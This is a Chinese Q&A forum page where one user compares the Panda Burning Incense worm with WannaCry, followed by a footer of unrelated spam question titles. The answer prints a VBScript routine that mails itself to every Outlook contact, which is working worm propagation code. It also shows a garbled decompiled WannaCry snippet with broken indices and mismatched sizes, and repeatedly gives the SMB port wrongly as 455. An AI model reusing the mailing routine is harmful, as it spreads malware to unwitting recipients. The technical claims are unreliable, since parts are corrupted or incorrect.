问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

电脑病毒比拼,比特币和熊猫烧香有哪些相似与不同?

发布网友 发布时间:2022-04-29 01:02

我来回答

1个回答

热心网友 时间:2022-05-15 13:53

展开3全部

近年来的病毒,这里特指蠕虫病毒。

Stuxnet蠕虫,MS10-061,当蠕虫值入机器后,把自己设置成开机自启动,并释放驱动文件,把该驱动设置为服务自启动。该驱动负责突破系统TCP半开连接数*,以方便蠕虫通过网络传播。感染系统的可移动驱动器(即U盘等),可通过U盘传播自身。通过MS10-061打印机服务远程代码执行漏洞在局域网传播自身。并尝试利用一些弱口令企图猜解并取得主机权限,危及整个网络的安全。为计算机设置了一个后门,不断尝试连接远程黑客服务器,收集用户信息,接收黑客指令,并可获取黑客远程服务器木马并执行,带来严重安全隐患。

熊猫烧香对我来说有点久远,虽然我有初始的蠕虫病毒,但没有解析关键的代码,只从网络中找到说是变了50次的变种一部分。

 Set objOA=Wscript.CreateObject("Outlook.Application")

创建一个OUTLOOK应用的对象

Set objMapi=objOA.GetNameSpace("MAPI")

取得MAPI名字空间 For i=1 to objMapi.AddressLists.Count  遍历地址簿

 Set objAddList=objMapi.AddressLists(i)For j=1 To objAddList. AddressEntries.Count  

Set objMail=objOA.CreateItem (0)objMail.Recipients.Add (objAddList. AddressEntries (j)

取得收件人邮件地址

 objMail.Subject=" 你好!"  

设置邮件主题

objMail.Body="这次给你的附件,是我的新文档!"  

设置信件内容

objMail.Attachments.Add(“c:virus.vbs")

把自己作为附件扩散出去

objMail.Send  

发送邮件

Next  

Next  

Set objMapi=Nothing  

Set objOA=Nothing  

这块是源码的传播方式,其实是劫持了邮箱的账号密码,自动发送邮件给好友,其实附件带的就是病毒复制体了。与最近的比特币病毒相关的也只有在局域网中通过455端口迅速感染。

它的感染方式主要是通过下载,病毒会删除ghost文件,并对文档的图片进行更换,不会对文件造成损坏。

而比特币病毒不同。

WannaCry木马利用泄漏的方程式工具包中的“永恒之蓝”漏洞工具从MS17_010漏洞进行网络端口(455端口)扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry木马进行感染,并作为攻击机再次扫描互联网和局域网其他机器,行成蠕虫感染大范围超快速扩散。

木马母体为mssecsvc.exe,运行后会扫描随机ip的互联网机器,尝试感染,也会扫描局域网相同网段的机器进行感染传播,此外会释放敲诈者程序tasksche.exe,对磁盘文件进行加密勒索。

V1=0;

Do

{

P_payload=&payload_x86;

If(v1)

P_payload=&payload_x64;

V3=*(void **)&FileName[4*v1=260];

(&v11+v1)=(int)v3;

memcpy(v3,p_payload,v1!=0?51364:16480);

*(&v11+v1)+=v1!=0?513634:16480;

++v1

}

While(v1<2);

V4+CreateFileA(FileName,0*8000000u,1u,03u,4u,0);

这个就是利用MS17_010的数据了,这个锅只能背给不更新补丁的人了。

木马加密使用AES加密文件,并使用非对称加密算法RSA 2048加密随机密钥,每个文件使用一个随机密钥,下面就是密码学的概率了,就和当初二战时期德军的恩尼格玛密码机一样,每一天的密码算法是天文数字,除非得到密钥,其余不可能破解。

熊猫烧香是不会损害文件的,但这个是可以的。

.doc, .docx, .xls, .xlsx, .ppt, .pptx, .pst, .ost, .msg, .eml, .vsd, .vsdx, .txt, .csv, .rtf, .123, .wks, .wk1, .pdf, .dwg, .onetoc2, .snt, .jpeg, .jpg, .docb, .docm, .dot, .dotm, .dotx, .xlsm, .xlsb, .xlw, .xlt, .xlm, .xlc, .xltx, .xltm, .pptm, .pot, .pps, .ppsm, .ppsx, .ppam, .potx, .potm, .edb, .hwp, .602, .sxi, .sti, .sldx, .sldm, .sldm, .vdi, .vmdk, .vmx, .gpg, .aes, .ARC, .PAQ, .bz2, .tbk, .bak, .tar, .tgz, .gz, .7z, .rar, .zip, .backup, .iso, .vcd, .bmp, .png, .gif, .raw, .cgm, .tif, .tiff, .nef, .psd, .ai, .svg, .djvu, .m4u, .m3u, .mid, .wma, .flv, .3g2, .mkv, .3gp, .mp4, .mov, .avi, .asf, .mpeg, .vob, .mpg, .wmv, .fla, .swf, .wav, .mp3, .sh, .class, .jar, .java, .rb, .asp, .php, .jsp, .brd, .sch, .dch, .dip, .pl, .vb, .vbs, .ps1, .bat, .cmd, .js, .asm, .h, .pas, .cpp, .c, .cs, .suo, .sln, .ldf, .mdf, .ibd, .myi, .myd, .frm, .odb, .dbf, .db, .mdb, .accdb, .sql, .sqlitedb, .sqlite3, .asc, .lay6, .lay, .mml, .sxm, .otg, .odg, .uop, .std, .sxd, .otp, .odp, .wb2, .slk, .dif, .stc, .sxc, .ots, .ods, .3dm, .max, .3ds, .uot, .stw, .sxw, .ott, .odt, .pem, .p12, .csr, .crt, .key, .pfx, .der

这些都是病毒会攻击的文档后缀。

和熊猫不同的是,它会通过tor匿名,监听9050端口,通过本地代理通信实现与服务器连接。

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
求这图片原图或者主角 出自哪一边电影或者电视剧 哪位大神知道这张图原版在吗?求原版。。。 在word中加下划线时第一次出现一条下划线第二次怎么就出现两条... 诛仙2资料站里的宠物展示能在npc买到吗 求一些诛仙2中的可以变为人形的宠物名字 诛仙2 神域的神农殿里,这是什么东西 诛仙2宠物元神问题 诛仙2 商城 中 宠物元神 怎么比 宠物 还贵啊?宠物元神是干什么的啊... 电热水器怎么安固定花洒 猛鬼夜惊魂剧情介绍 为什么吃鸡有时候自动退出就弹出这个,我该怎么办 白酒Q/QYLC0001S是什么标准? 500韩币的硬币图案是什么样子的 吃鸡系统会自动扣我微信上钱吗? 韩币正反面分别是什么? 某完全竞争行业中单个厂商的短期成本函数为STC=0.1Q^3-2Q^2+15Q+10,求市场价格降为多少时厂商必须停止生产 下载绝地求生还没玩软件不见了被无缘无故扣了150元话费 近两天霍特币出了啥问题 玩吃鸡卡里的钱被扣了怎么办? 经济学中TC与STC有什么区别?可以划等号吗? STC拆分盘是什么? 为什么在手机上玩吃鸡会扣话费? 中国可以使用stcpay吗,如何使用 需要准备什么 想问一下,这个星球联盟的星星(STC)最近为什么这么火? ⅴiⅤo吃鸡怎么扣费怎么把它关闭? 迟钝的反义词是什么? 怎么把王者荣耀吃鸡扣款关闭 晚的反义词是什么字 stecoin(STC)斯特币是什么? 迟到反义词是什么呢 为什么苹果手机吃鸡充钱他说我违规还扣我钱? STc公司免费送单片机有哪些东西? 支付宝莫名其妙的被吃鸡游戏扣钱说买点卷了、是怎么回事? stc单片机的样片申请 吃鸡自动退出? 沙特阿拉伯STC怎么查询本机号码? 谁知道沙特阿拉伯有无线网络吗? 沙特阿拉伯有无线网络吗 京东白条消费限额三千,京东闪付的打白条也在其中吗? 把八个桃子放在两个盘子里,有几种不同的方法? 用苹果,梨`桃`做果盘,至少用一种水果,最多用三种水果&#39;一共可以做几种果盘,。 《七龙珠》里人造人十八号,怎么可以生孩子? 扮孕生产语音 七龙珠人造人18号被沙鲁吞到肚子后被强暴 vr全景拍摄市场需求有多大 ? 《七龙珠》里的主要人物分别有什么绝招? 谁有这两张的人造人18号漫画,请发一下。求百度云! 人造人18号被西鲁吸收后的彩漫谁知道 油锅着火后,该怎么办 求这张图原图,有这个系列的也给一下(人造人18号)